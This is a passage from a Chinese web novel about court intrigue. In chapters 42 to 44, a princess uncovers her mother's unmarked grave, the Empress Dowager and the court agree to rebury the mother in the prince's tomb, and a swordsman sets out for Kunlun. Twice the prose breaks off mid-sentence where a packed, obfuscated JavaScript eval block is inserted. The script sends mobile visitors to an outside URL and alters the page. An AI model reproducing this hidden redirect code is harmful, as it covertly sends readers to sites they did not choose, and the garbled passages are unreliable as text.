这句话说得是那样地妥帖、温和,让人心里一暖,要是在往常,叶子萌会觉得心里有一股暖流,但是今日,她却有了异样的感觉;她想起菱婶描述的那个场景,这个婆婆曾经是怎样对待她儿媳的,以至于发生了后来那样的悲剧,所以她也脱不了干系…… 但是,她强忍着内心复杂的情绪,装出没事的样子,也对王公公莞尔一笑,然后先叫静香回后院,自己便随着王公公去了皇宫。 到了千寿宫,李公公在门口望见,就回头禀报:“明浩公主到!” 正在说话的太后与皇帝就调头过去,太后笑道:“快快叫她进来……” 叶子萌一进去,就伏地一拜:“见过皇祖母,见过陛下!” 太后道:“啊呀,免礼免礼!快到我这里来,几日没见,如隔三秋,让我早也想、晚也想啊……” 叶子萌犹豫一下,就慢慢走过去,这同时,那习惯埋着头瞧地的王公公,却正在拿眼瞧她,而站在另一旁的李公公却在瞧王公公…… 寒暄一阵后,叶真瞧了太后一眼,太后就抬头望着叶子萌,关切地问:“你回去见着他们啦?” 这“他们”,自然就是叶子萌的养父母了,不知是太后故意不提“父母”二字,还是随口一说?而“见着”的背后,就是问“他们”,对和亲一事究竟持的什么态度。 叶子萌自然明白,但她只说:“见着了……”然后就没有然后了。 太后看了叶真一眼,勉强笑笑,停顿片刻又问:“那么,他们是什么态度?” 叶子萌回答道:“他们倒没有什么意见,可、可是……”欲言又止。 太后觉得奇怪,发现明浩公主这次回来,变得与往常好像不一样,似乎心事重重,没有以前那么爱说爱笑了,也没听她甜甜地叫一声“皇奶奶”了? “怎么啦,子萌?”太后仔细看她,问道,“奶奶不是外人,快告诉奶奶,别这样吞吞吐吐的!” 42.为母申诉,勘查真伪 一旁的叶真见了,似乎觉得又有什么“故事”了,于是眼珠子就开始转起来,忽然又停住,目不转睛地盯着叶子萌,心里迫切地等待着。 已经到了非说不可的地步了,叶子萌的眼睛一红,就有些悲伤,她望着太后说:“皇祖母,子萌此次回去的途中,遇到了一件令我十分伤悲、且意想不到的天大事情,我……我都不知该对你从何说起?……” “哦?”太后一听,惊讶地问道,“子萌,你遇到何天大的事情,快快讲来,哀家替你作主!” 在场的人全都安静下来,注视着叶子萌。 “我……我……”叶子萌鼻子一酸,就小声地抽泣起来,说,“我找到了我母亲的坟墓……” 什么?”几乎是同时,太后与皇帝脱口而出,他们一时没回过神来,脑子里联想到的竟是沐灏天那个家,却又觉得哪里不对…… 叶子萌继续抽泣说道:“我的生母……也即我母妃,她的坟我已经找到……” “啊?”太后与皇帝这才终于弄明白她究竟在说什么,不由对视一眼,然后太后又问一句,“你……你是说你找到了那已死去十几年的李慧儿的坟墓?” 叶子萌使劲地点点头,用手帕抹着泪眼…… 太后现在已完全明白叶子萌在说什么了,但有些事仍然还不那么清楚,于是她对李公公挥挥手,李公公顿时明白,让两旁的宫女们退了下去。 太后这才对叶子萌说:“这究竟是怎么回事,你且慢慢讲来……” “这次我在回蜀都的途中,忽然巧遇当年陪在我生母身边的贴身宫女浣菱……”叶子萌开始讲述事情的全部经过…… 不仅太后和皇帝在仔细倾听,两个公公也埋着头仔细倾听,周遭没有一点杂音。 叶子萌继续讲着,待她讲到回来后去城郊替母烧纸焚香时,已哭得像个泪人儿…… 太后听完,颓然倒在软椅上,往怀里掏手帕的手也微微颤抖着;一旁的叶真也惊讶得睁大眼睛,那眼珠子又开始骨碌碌地乱转起来。 过了片刻,叶真疑惑地说:“啊呀呀,奇怪奇怪,我当年明明听说那宫女浣菱已死,现在竟又活了过来……莫非真是老天开眼了?” 这话倒提醒了太后,她忽然掉头对叶子萌说:“你确定自己在城郊路上巧遇的那个妇人,就是当年陪伴你母妃李媚儿的宫女浣菱?假如她不是,而是讹传呢,你又怎么确定你看到的果真是你母亲的坟墓?” 叶子萌说:“千真万确,浣菱被棺材铺的钱大牛救活,后来就跟随了钱大牛,钱大牛本人我也见到了,就住在城北磨子巷,一看就是个老实人,不敢说谎的。” 太后寻思着,便问旁边的李公公和王公公:“你俩好好想想,还记得当年这埋人的差事是谁办的吗?” 李公公摇摇头,而王公公却似乎还记得,他回道:“应该是冯干儿他们办的……” 太后问:“这冯干儿现在何处?” 王公公回道:“还在宫里当差。” “你去把他叫来……”太后说着,又掉头对李公公说,“你带人去城北磨子巷,去把那钱大牛和浣菱请来,这几个人我都要亲自问问……” 一旁的叶真又补充一句:“对了,让刑部吴尚书、典签帅周攸元、大理寺卿张廷玉一并前来……” 李公公和王公公齐声应道:“是。” …… 一会,刑部吴尚书、典签帅周攸元、大理寺卿张廷玉都匆匆进宫,朝千寿宫走来。当他们从王公公那里得知是什么事后,都震惊得惴惴不安。 太子妃李慧儿当年的死,虽是悒文帝叶炫所为,与他们没有直接关系,但是李慧儿死后的草率埋葬被暴露,这恐怕与他们的失职也是有关联的,替罪羊总要找点吧? 进入千寿宫后,房内空气凝固一般,太后的脸色非常难看,皇帝的神情也凝重得很,他们看着伤心欲绝、默默擦泪的明浩公主,都万万没想到,十几年后的今天,还会有这么一出戏出现? 少顷,已经成为带班首领的冯干儿终于被找到,并被王公公带来,他一进门见那阵仗,吓得浑身哆嗦,埋着头站在一边…… 又过一会,在李公公的带领下,当年的宫女浣菱和她丈夫钱大牛也被请来,浣菱进了殿,见到太后旁边的叶子萌向她点头示意,那颗七上八下的心才能镇定了许多。 太后望向浣菱,一眼就认出她,果然是当年那个曾被她赞赏过的宫女浣菱,也是她让她去东宫的,当时浣菱在太阴宫跟着李慧儿遭到无妄之灾时,她下来还曾后悔过呢。 太后避开了她的眼睛,看到人都来齐,便示意了一下,王公公就指着钱大牛对冯干儿说:“冯干儿,我且问你,你可认识这个人?” 冯干儿一听总管太监这样问,于是掉头过去,看了看钱大牛,暗想,这不是棺材铺的钱大牛吗,宫中但凡要定制棺材,都去他铺上的;但转念一想,不知该不该回答,因为他实在是位卑言轻,一旦说错话,那是要掉脑袋的。 他迟疑地望着他的顶头上司总管太监,小声问:“王公公,我、我是该认识呢……还是不、不认识呢?……” 王公公还未及出声,就传来太后严厉的声音:“照实说,倘若敢有半点扯谎,宫中的规矩你是知道的!” 冯干儿连忙说:“是,是……他不就是钱大牛吗,今年清明节前,我还去过他棺材铺呢……” 王公公又指着钱大牛旁边的浣菱问他道:“这个妇人呢,你可认得?” 冯干儿又掉头去看浣菱,觉得有些眼熟,埋下头仔细想了想,又抬头去看,这次就像想起了什么,忽然睁大眼睛,惊恐地叫了一声:“是……是鬼!是鬼!……”就滚落在地。 在场的人,这时都相视一眼,似乎都全明白了,这妇人的确是当年的宫女浣菱! 这时,叶子萌走上前去,用手将这个吓得魂飞魄散的冯干儿扶了起来,轻言细语地对他说:“这位公公别害怕,她不是鬼……你再仔细看看,她是谁!” 冯干儿站稳,掉头再看浣菱,颤抖着声音说:“她、她不就是当年的那个宫女浣菱吗?她不是……”忽又掉头指着钱大牛,“她不是被你们拉去郊外掩埋了吗?” “是的,”钱大牛胆壮起来,大声回答,“那位女贵人死了,被我与另一伙计掩埋,宫女浣菱当时却还有口气,被我救了!” “然后呢?”太后问。 “后来,”钱大牛瞥了一眼旁边站着的浣菱,说道,“我替她养伤,等她伤好,见她孤零零地没有去处,就把她留了下来,替我洗衣做饭,时间一长,我俩就……就在一起了,她现在就是我的妻子……” 太后把目光转向了浣菱,浣菱见太后看她,于是点了点头,小声说道:“太后,是这样的,千真万确,不敢欺瞒太后。” 不用再问,事情已经一目了然,明浩公主说的都是真的,她在郊外找到的那座无名氏荒坟,就是太子妃李慧儿的坟无疑。 这时,皇帝叶真瞟瞟太后和太后旁边的叶子萌,开始表态了,他几乎是正义凛然地说道:“想不到啊想不到,那二哥叶炫心太狠,做事也太绝,简直就是滥杀无辜,他这样肆意妄为,上天也会震怒的!” 此时的太后似乎已是心力交瘁,她抬起手臂朝皇帝叶真示意道:“剩下的事你们去办吧,明天再到朝堂议议,我有点乏,先去歇息一下……” 叶真瞟着太后脸色,拱手说道:“恭送母后。” 众人也拱手道:“恭送太后……” 太后单单叫住叶子萌,说:“子萌,你随我来后面寝宫……” 太后一走,皇帝叶真瞧瞧那些大臣和带班首领冯干儿,用手指指他们的额头,然后顿顿脚,掉头离去…… 大臣们呢,也是你看看我、我看看你,然后也灰溜溜离去;冯干儿则看看王公公和李公公,也撒腿就跑…… “站住!”王公公突然断喝一声,刚跑到门口的冯干儿一愣,连忙站住,慢慢回过头来。 王公公走上前去,盯着他,平日一向温和的他,忽然扬起了手,在冯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900412|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干儿脸上狠狠地扇了一巴掌,骂道:“你个畜生!” 冯干儿捂着脸,吓得又连忙磕头,嘴里哭丧道:“公公饶命,公公饶命……” “滚!”王公公又踢了他一脚,“看你办的什么差,回去等候发落吧!” 冯干儿这才从地上爬起,捂着脸慌慌忙忙跑了。 剩下钱大牛和浣菱,李公公对他们说:“这件事到此为止,跟我来吧,我领你们出宫……回去后莫要再外传此事,等待太后懿旨。” “是。”钱大牛和浣菱点点头,跟随而去。 这边,叶子萌吩咐宫女们搀扶着太后,走向后面的寝宫躺下休息,自己则坐在床边,静静地陪着她。 太后的眼睛眯着,似睡非睡,一会,忽又睁眼望着叶子萌,有气无力说道:“子萌,你心里在责怪奶奶吧?” 叶子萌不知该怎样回答,于是低下了头。 太后叹了一口气,道:“你责怪吧,我不怨你,当年这件事奶奶的确做得不够周全,那时你父王、我的坤儿刚被暗算,宫中又谣言四起,奶奶一时气昏过头,错怪了你母妃……” 叶子萌仍不吭声,静静听着。 太后缓缓气儿,又继续说:“皇太子之死,虽是桩悬案,但那叶炫也真不是个东西,对你母妃下了狠手,现在他也疯了,得到了报应……当然,你母妃惨死他之手,后事处理我也没去过问,我还是有责任的……” 说着说着,她掉头望着默不作声的叶子萌,用手抚摸她的手背,轻声问道:“子萌,这件事上你肯定受了不少委屈,说吧,你有些什么要求,现在不妨向皇奶奶提出来,皇奶奶尽量满足你……” 叶子萌自然早已有准备,这时对太后说道:“皇奶奶,明日朝堂议政,我希望你与皇帝提出,将我母妃的坟茔迁入陵寝,与我父亲合藏在一起,并配享太庙,也算为我母妃昭雪天下了……” 一提“太庙”,太后微微一怔,但望着叶子萌那双期待的眼睛,又听她叫了“皇奶奶”,于是缓缓气儿,想了想,点头道:“好吧,我答应你,明日议议这事!” 叶子萌没想到太后会同意得这么爽快,于是马上联想起先前王公公来传太后口谕时,说的那句“太后是想你了……”,不由细细地品味起来。 “米莲啊!”太后掉头叫道。 米莲应声从后面屏风闪出,太后对她示意了一下,米莲便点点头,返身去后面,然后拎着一篮黄灿灿的梨子,恭恭敬敬地对叶子萌说道:“我的小公主,这是西域贡品尉犁国小香梨,你皇祖母舍不得吃,都已放了一些时日,专门留着等你回来……” 叶子萌瞥了一眼这黄橙橙的东西,仍然没出声,但是心里却翻腾起来,她联想到师父指着梨子给她讲的那番道理,一切都像是那么契合。 太后见她未应答,又望了米莲一眼,米莲便笑着继续说:“另外,西域贡品里,还有一匹大宛国送来的汗血宝马,这可是稀罕之物,你皇祖母也送给你了,呆会儿我就差人一并给你送过去……” 叶子萌一听“汗血宝马”,心里一动,就又翻腾起来,她克制住自己,脸色也没再那么难看了,这个变化太后自然看在眼里,嘴角也绽开了一丝笑意。 待叶子萌回到聂王府时,那匹枣红色的汗血宝马已经栓在后院的树上了,聂小云正在那里东瞧瞧、西瞧瞧地观看欣赏。 聂小云还抚摸着这匹马的鬃毛,赞叹地对旁边的聂浣儿说:“听说这种马的速度和耐力都相当异常,能日行千里,还会从前肩下面流出像血一样的汗液,是十分稀罕之物……” 叶子萌过去时,聂小云第一个发现了她,马上迎上来,惊讶地说道:“师父,太后是如此锱铢必较之人,竟然送给你如此珍贵的东西,真的是大手笔,可见你不止是个人物,在她心目中也是多么地重要!” “你若喜欢就送给你呀……”叶子萌说。 “哎呀呀我的小姐姐,”聂小云连忙摆手,“你吓死我了,我可不敢要,太后要是知道了,不把我的皮活剥了才怪!” 43.合入陵寝,未享太庙 说完,聂小云又把叶子萌拉到稍远处,悄悄对她说:“师父,你刚才这话,以后千万不要随便对人说了,太后倘若知道,会认为你藐视她,后果会很严重的……” “太后有这么古怪?”叶子萌问。 “啊呀,古怪得很呢!”聂小云捏着双拳,连连点头。 “那是得注意”叶子萌说,“多谢云弟弟提醒。” “对了,还有这个,也是太后派人一并带给你的。”聂小云从旁边提起一篮黄灿灿的尉犁国小香梨,“这个我倒可以尝尝的……” “这个不行,”叶子萌说,“我要送人的。” “送谁?”聂小云抓了一个梨子的手,又把梨子放了回去。 “浣菱,菱婶,”叶子萌说,“这回多亏了她,我才找到我母妃的坟茔,我要把这珍贵的东西送给她,以表我一份心意。” “哦,那是那是……不过,”聂小云突然抓起一个最大的梨子,一溜烟就跑,边跑边说,“也不缺我这一个梨子吧……” “哎哎,”聂浣儿说,“你这人怎能这样?” 叶子萌忍不住被逗笑了,望着他背影说:“这泼猴……” 少顷,叶子萌转过身,与聂浣儿一道朝后院走去,这时西门轩等人也迎了上来,却未说话,脸色凝重,用一种异样的神情望着她。 叶子萌逐一打量着他们,打量到云媃时,云媃低下头,小声说:“我已把你母妃荒坟找到的消息告诉了他们……” 叶子萌听了,慢慢往里屋走,西门轩等人也跟上来,云媃又小心翼翼地问:“迁坟的事怎么说?” 叶子萌点点头,把太后答应在朝堂议事的情况,原原本本讲述出来,静香这时就问:“太庙是?……为何一定要迁入太庙?” 聂浣儿就解释道:“在悒国,所谓太庙,就是人死了安放牌位之地,百姓家叫宗祠,族权与神权都包含在内,而在皇家叫宗庙,那是很庄严的一件事,进去很不容易……” 叶子萌也说:“我曾听史官讲过,在以前年代,夏叫‘世室’,殷是‘重屋’,周改‘明堂’,秦汉时统一称为太庙。” 静香问:“皇家人死了都进去吗?” 叶子萌说:“早先的太庙,只供奉皇帝先祖,到了后来,皇权家族为了笼络人心,又将外姓人氏,譬如皇后啊,有功之臣啊,他们死后的神位,只要皇帝同意,才可被供奉进太庙。” “这么难进啊?”静香说,“难怪要在朝堂上议。” 叶子萌点点头,说:“我母妃的神位能否进太庙,我其实并不在乎,主要是想给太后他们出点难题,让他们感到内疚;但是将母妃的坟墓迁入皇家陵园与父王合葬,却真的是我心愿,我不愿她呆在荒郊野岭,想尽点孝道……” 众人听了,都沉默下来,过了一会,云媃把静香拉到一边,指指叶子萌的后背悄悄说:“这还是原来那个子萌妹妹吗,都开始长心眼了。” 静香想了想,说:“我看她之所以给太后出难题,是还有其他目的吧?” 云媃睁大了眼睛:“目的?什么目的?” 静香回头瞅了一眼,说:“我觉得她是不想往北方去呢!” …… 叶子萌的确是给太后出了道难题,让太后深感意外。 翌日,当她在朝堂上宣布太子妃李慧儿的坟墓找到,并象征性地征求大家意见,是否让太子妃迁入皇家陵园与太子合葬,并配享太庙时,众臣一听,一片哗然。 文武百官都觉得此事很棘手,于是你看我、我看你,还有人摇摇头。像这种棘手的时刻,谁的官阶最高,谁就距烤仔猪的火塘最近,当吴相国环顾四周,发现百官都在看他时,他只好硬着头皮站出来。 吴相国看看殿上的皇帝叶真,见老狐狸叶真没有吭声,他犹豫片刻才吞吞吐吐地说:“太后说得对,这件事的确很重要!” 被他形容成老狐狸的叶真,这时也在心里这样骂他:真是只老狐狸,等于没说! 这时,兵部尚书严沯上前奏道:“太庙乃我皇家宗亲之庙,至高无上,一个前朝太子妃要配享太庙,恐怕有违礼制,不妥吧?” 话刚落音,刑部吴尚书、典签帅周攸元以及大理寺卿张廷玉等,也站出来拱手奏道:“严大人言之有理,臣等附议……” 太后听了,也不表态,只是掉头问叶真:“皇帝以为如何?” 叶真自然不愿自己被火塘烧着,他沉吟片刻,道:“皇太子叶坤被害,太子妃李慧儿受冤惨死,的确让人痛心疾首!现在李慧儿荒坟找到,将她荒坟迁入叶坤陵寝合并而葬,自然是顺理成章,至于配享太庙,这……这还得看太后的意思。” 吴相国一听,不由在心里赞叹道:“这只老狐狸真是狡猾到家了……” 其他众臣却全都傻眼了,这就算同意了吗?大家你看我、我看你,不知该说什么好。 叶真顿顿又说:“众爱卿不可不知,当年皇太子叶坤若不遇害而登上皇位,李慧儿就是皇后,与一般的皇太妃不可同日而语;再说她已含冤十几年,这点补偿我叶家还是应该给与的……”说着又掉向太后,“不知母后意下如何?” 众人一听,有点回不过神来,只有吴相国脑子转得最快,立马趁热打铁说:“陛下仁慈宽厚,李慧儿的确应被视为皇后待遇,方显我皇恩浩荡……” 兵部尚书严沯、刑部吴尚书、典签帅周攸元以及大理寺卿张廷玉等,也立马转向,道:“吴相国言之有……有理,是臣等愚……愚昧……” “真是一群蠢货!”太后在心里嘀咕道,其实,按照她内心的本意,还是希望大臣们集体反对,让她难办。为何?因为她一直对那个李慧儿心存芥蒂,只是碍着自己亲孙女叶子萌的面,不便明说什么,但内心深处仍有些疑虑,总觉得哪里不对。 但是这群蠢货却让她难以达到目的,包括暗中效力于她的吴相国,竟也这么糊涂可笑! 她实在无奈,于是微微一笑,道:“哀家以为,李慧儿受冤十几年,现在荒坟终于找到,此事又是他们唯一的女儿明浩公主提出,我想就遂了她心愿吧,将李慧儿的坟迁入叶坤陵寝合并而葬。至于配享太庙,的确有违祖制,不妥,暂时搁置……” 众臣一听,才松了口气。 其实,太后送汗血宝马给公主的事,大家早就听说了,谁还敢去反对她提出的、让自己生母与太子合墓一事?只要不是“配享太庙”,那就没事。 停顿片刻,太后又显得不经意地说:“明浩公主即将出使北旗和亲,这也是对我悒国出力,在这节骨眼上,我们大家都要以大局为重啊!” 众百官一听,拱手道:“北旗和亲,兹事体大,太后英明厚德,陛下仁慈宽容,乃我悒国之福!” 太后回来后,忍不住对身边的米莲愤愤地说:“那群蠢货,也不阻拦我一下,叶真也不阻拦,都顺着我说……” 米莲面无表情,道:“太后是不愿太子妃李慧儿进入皇家陵园,与太子叶坤合葬一起吗?” “她算什么东西?”太后的鼻子哼了一声,转念一想,又叹口气说,“唉,罢了罢了,这事是我孙女提出的,谁叫我心疼我孙女呢!” 米莲悄悄地用眼睛瞟着太后,竟一时不知她哪句话是真,哪句话是假,颇费踌躇。 …… 随后,悒国举行了隆重的迁坟仪式,还请来法师,设法坛香炉,禀香诵、升幡咒。但见那法师有模有样地步罡踏斗,焚送神符,口中念念有词—— 幡旗号令普益山河,诸神降瑞罪孽消弭,经毕旗落云旆返天,谨遵法意不得延误,急急如玉皇上帝律令…… 至此,叶子萌的生母李慧儿的坟墓,正式合入皇太子叶坤陵寝,法师言称祥瑞,又在法坛燃香布施,鸣放炮仗,并诵咒文以谢恩天地君师…… 这陵寝,其实是悒国先帝叶成武的墓场,按照太后意思,皇太子叶坤死后与钟爱他的先帝埋葬在了同一处。 这里有雕刻精美的白玉牌坊,牌坊的夹杆石周围都有浮雕,镌刻着龙虎图案,还有碑楼,记述着皇家功绩,当然,都是一些为皇帝歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906914|159850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功颂德之文字。 旁边的云媃和静香望着叶子萌,云媃这时忍不住说:“子萌妹妹,现在你母妃李慧儿算是有了好的归宿,至于不能进太庙,也没什么,你也别太过伤心。” “我明白……”叶子萌点点头。 其实,叶子萌提出将生母之坟合入皇太子陵寝,除了天生的母女情愫使然外,还有一个目的,只是云媃等人不知罢了。 这时她又说:“其实,我以为自己的过高要求,会使朝堂哗然激奋,文武百官必然反对,最后太后和皇帝会迫于压力,将此事暂时搁置。那么,我对和亲一事,也就有了周旋余地和暂时搁置的借口了。” “哦……”云媃瞟了静香一眼,点头道,“原来真是这么回事,还是静香聪慧,早猜出来了。” 叶子萌又说:“但是现在,世间诸事都鬼使神差,此事竟然达成,遂了我心愿,我还有什么话说呢?”她不由想起自己问师父和亲一事时、师父说的那句话:“……‘不过天佑善人,也不妨事’。” 她用手轻轻抚摸着碑楼上那些雕刻的文字,脑子里慢慢地思忖着,手忽然摸到一行文字,便不由自主地停了下来,细看却是“为普济天下苍生而生……”几字。 她似有触动,却终又不解其味,手便慢慢拿开,抬起头来,碑楼的顶处,透过松枝可以看到蓝天白云,慢慢地,那天上白云仿佛幻化成一只白里嵌绿的玉佩…… 她便从怀里取出乔与书相送的那块白玉佩,现已粘合,玉佩中间有很细的一道裂缝,不细看还真看不出来曾经摔碎。 乔与书曾说过的话语,这时仿佛从那道裂缝中袅袅溢出:……这样的和亲,实则是对吾等追求幸福愿景的极大藐视,难道你会同意? 这块玉佩恰被旁边的云媃和静香看到,一起围过来瞧,云媃好奇地问道:“子萌妹妹,这枚玉佩好生漂亮,以前没看你戴过,是谁人相送?” 那边的西门轩听到这话,也注意地看那玉佩一眼;而子寻风却打趣道:“挑兮达兮,在城阙兮,一日不见,如三月兮……子萌妹妹莫非在睹物思人?” 云媃和静香就悄悄地抿嘴而笑,叶子萌却没有理会他们,只是将这玉佩揣进怀里,兀自转身大步往前而去…… 几人骑马在京城街衢策马而行,而叶子萌骑的正是太后送她的那匹汗血宝马,惹得路人纷纷回头观看,啧啧称赞。 叶子萌回到聂王府,与大家开始商议,这时西门轩说话了:“和亲之事,现在已迫在眉睫,这事若又生变故,那又会如何?” 西门轩其实是话中有话,他先前瞥见叶子萌的那枚玉佩,心生疑窦,于是故意说出此话,来进一步试探叶子萌。 叶子萌听了,刚好被这话戳住要害,竟不知该如何回答,心如乱麻。 “咦?”云媃皱着眉头瞧着西门轩,慢慢琢磨着说,“你倒是挺关心这件事的!” “切!”西门轩瞥她一眼,又把头掉开,不去理会她。 子寻风这时说道:“对了,子萌妹妹若对前往北旗心有不安,我倒是有一计。” 叶子萌与众人一听,全都掉头去看子寻风。 “昨晚上,”子寻风开始讲述,“我为此事颇费了一番脑筋,一直想到了深夜,这才慢慢有了一些头绪……” “你就别卖关子了好不好,”西门轩轻蔑地瞅她一眼,“说不定你说和不说,都一个样呢!” “小瞧人!”子寻风说道,“是这样,檀公三十六策中,不是有个李代桃僵之策吗,即当年汉高祖刘邦曾遣刘敬为使,同匈奴汗国缔结‘和亲约’,取家人诈称‘长郡主’嫁给冒顿单于为妻,不也骗过了对方?” 叶子萌问道:“寻风哥哥的意思是?……” 子寻风便继续说:“云媃妹妹与子萌模样最是相似,年龄也比较接近,可否让云媃妹妹替代子萌,扮成‘明浩公主’前往北旗和亲?” 西门轩一听,连忙说道:“咦,这倒是个办法,我以为可以一试,就看云媃妹妹愿意否,嫁个皇子,也不算委屈……” 44.困厄之时,侠义出手 云媃一听,提起一拳就打在西门轩的肩头上,西门轩没防着,不由打了个趔趄后退几步,叫道:“你、你……你打我作甚?” 云媃回过神来,掩饰着尴尬说:“原来还以为你正直仗义,是个君子,想不到你还憋着一肚子坏水!这也行啊?若是让人知道,我定性命难保!再说北旗那地方,人生地不熟的,我去了……哎呀,不成不成!” 叶子萌与静香对视一眼,忍不住想笑。 子寻风明明知道是怎么回事,却故意装着不知,说:“若是子萌妹妹去了,你与西门轩不也会跟着去么?这同样是人生地不熟啊!” 云媃道:“这不同,我和西门轩倒是愿意跟着子萌妹妹,陪着她一辈子都成!” “别扯我好不好?”西门轩说,“我虽愿意陪子萌妹妹去,但我还未说,你怎么知道?” “你就知道耍嘴皮子!”云媃很不爽,咬着牙跺了一下脚。 “啊呀,与你说不清楚!”西门轩将袖袍一挥。 静香实在看不下去,皱着眉头对西门轩说:“你这样对待云媃妹妹,恐怕过了,人家还替你挡过一箭呢!” “你们别争了,”这时,叶子萌摇摇头说:“这和亲之事对朝廷来说,是何等地重要,用李代桃僵之策肯定行不通,再说世上没有不透风的墙,我们面对的都是些何等老谋深算之人,另外很多人都已见过云媃,定会被人识破,弄不好还会遭来杀身之祸,不能拿云媃的性命来冒险!” 大家一听,面面相觑,西门轩也把头掉开,不便再说什么。 “请大家先散吧,我想一人呆会儿……”叶子萌说。 大家散后,叶子萌仔细思忖着,慢慢又掏出那块玉佩凝视起来,心里暗暗想着,这足智多谋的乔与书,他现在又在做什么呢?若是他面对这事,又该如何应对? …… 就在叶子萌将那块粘合过的白玉佩拿出来观看时,远在杏花坞的乔与书也掏出了那张罗帕,细细地看着那些镌刻精巧的银丝线,眼前浮现出叶子萌那天真无邪的模样…… 叶子萌即将和亲北旗一事,搅得他寝食难安,他思量已久,一个艰难的决定便在心中酝酿成熟:他决定,自己索性去昆仑雪山,请求师父雪山玉仙替他解除封印,恢复功力,不再隐身杏花坞,然后出山去悒国,帮助叶子萌。 乔与书的眼前浮现出两年前的那些往事—— 原来,乔与书暗藏得很深,其实他是身怀绝技的武功高人,也是雪山玉仙的亲传弟子,常年跟随师父在雪山上练习神功,由于雪山玉仙很宠爱他,所以其他五个练“五禽戏”功法的徒儿,也对他毕恭毕敬。 乔与书不仅学习武功,还十分喜欢读书,由于天资聪慧,三坟五典通通熟读,更让师父雪山玉仙得意,觉得这徒儿与其他常人不可同日而语,甚至将他视如己出。 乔与书的功夫进步得很快,雪山玉仙最后甚至把自己的一些武功秘诀也悄悄传授给了他,惹来其他徒儿的不满,认为师父偏心。 有一次,几个徒儿把这不满发泄出来,雪山玉仙便呵斥他们道:“凭武功,凭悟性,你们哪样能胜过他?这样,你们敢不敢与他比试比试,凡有胜过他的,我也传授他武功绝活!” 结果,几个徒儿轮番上去,与乔与书比试,但一个个都被他打得满地找牙,就从那以后,没人再敢说三道四了。 但是两年前,情况起了变化,乔与书的父母因染瘟疫双双亡故,之后乔与书下山办事,才从大伯乔定筠处得知这噩耗,不由痛哭流涕,觉得自己大不孝,父母升天离开,他们的儿子都未曾守在身边最后尽孝。 思忖后,他向师父雪山玉仙提出离开她下山,理由是:首先他想守孝三年,以赎自己不孝之罪过,其次是他也想凭自己的经世之才,报效魏国……而后者才是他离开师父的真实目的,他想作出一番轰轰烈烈的事业。 雪山玉仙劝导无果,深感绝望,因此提出个苛刻条件,意在阻止他,即若他离开昆仑,就不再是她弟子,也要接受师父“封印”,解除她传授的全部武功绝活。 当时,乔与书报国心切,权衡再三,终接受了师父的条件,被她封印,解除了亲传的武功…… 那天,雪山四周狂风大作,天昏地暗,雪山玉仙解除了他武功后,望着天空悲鸣长叹,搅起的飓风把山下的树林折断一片。 决心离开雪山玉仙的乔与书,不知师父秉性为何变得这样古怪莫名,但也不及细想,下山投奔到杏花坞自己大伯乔定筠名下。 他大伯乔定筠,在魏国朝中有一闲职,为礼部主客司员外郎,由于乔与书父母已亡,他也无子息,所以自从乔与书投奔到杏花坞他名下后,他就将乔与书视如己出,对其钟爱有加。 可是两年来,现实并不像乔与书想象的那样,魏国的官场也很复杂,蒋相国权倾朝野,朝中大员拉帮结派,正直官吏也人人自危,纵使他乔与书有一身经世之才,并受到杏花坞石亲王的赏识,但也难以真正找到用武之地。 渐渐地,他愈发地失望,再加上自从相遇叶子萌之后,让他日思夜想、心有所属;而现在叶子萌周旋于悒国宫廷,势单力薄,故他决定前去悒国助叶子萌一臂之力;而要闯荡江湖,就必须仰仗师父,先替他解除封印。 这天,乔定筠从外面回来,刚进入厅堂,就见贤侄乔与书跪在厅堂那里,他觉得甚是奇怪,于是前去扶他起来,同时问道:“贤侄啊,你何故跪于此处?” 乔与书向着他又是躬身一拜,请示道:“大伯,侄儿与书遇到一事,思量已久,决定还是去昆仑我师父那里……” 乔定筠一惊,不明就里,懵懵懂懂地问他道:“哦?贤侄想离开我?是我待你凉薄了,还是……” 乔与书忙说:“不不,大伯待我恩重如山,我这辈子都不会离开你的……不过眼下我遇一件十分紧要之事,要去昆仑求助于师父,所以要暂时离开一些时日。” “哦,这样啊,”乔定筠松了一口气,点点头道,“你若有事要去昆仑,去便是,只是不知你遇到何事,可否告诉与我?” 乔与书犹豫一下,于是把自己的打算讲了,乔定筠一听,道:“解除封印是件大事,你那刁钻古怪的师父会答应你吗?” 乔与书说:“我也不知,师父的性情的确古怪,变幻莫测,无人捉摸得透,但我仍想去试试……” 乔定筠点点头,又掉转话题说:“明浩公主的事,其实我也有所耳闻,那悒国十分凶险,你若要去那虎狼之地,可得万万小心!” “知道,”乔与书说,“正好让我去历练历练!” “唉……”乔定筠叹了口气,回到里屋,“不易之事全都让你遇上了……” …… 翌日,乔与书告别自己大伯,骑上一匹快马,朝昆仑山方向疾驰而去。此时正值秋季,天高云淡,季节凉爽,气候宜人,他凭着一种冥冥之中的感应,朝西北方疾驰。 黄昏渐渐临近,举目四望,远山连绵起伏,左面山峰高耸云天,景象似乎越来越荒凉,前面路边有个打柴的老汉,背着一捆干柴,坐在路旁的大石上歇息。 乔与书抄的是近道,这条路他并不熟悉,于是走上去问道:“老人家,这前面可有客栈?” 那老汉一听此话,将他上下打量一番,迟疑片刻才说道:“前面不远是有一家‘云来客栈’,不过,你可别……”说到这就停住话头,迟疑地四处看看,神色有些异样。 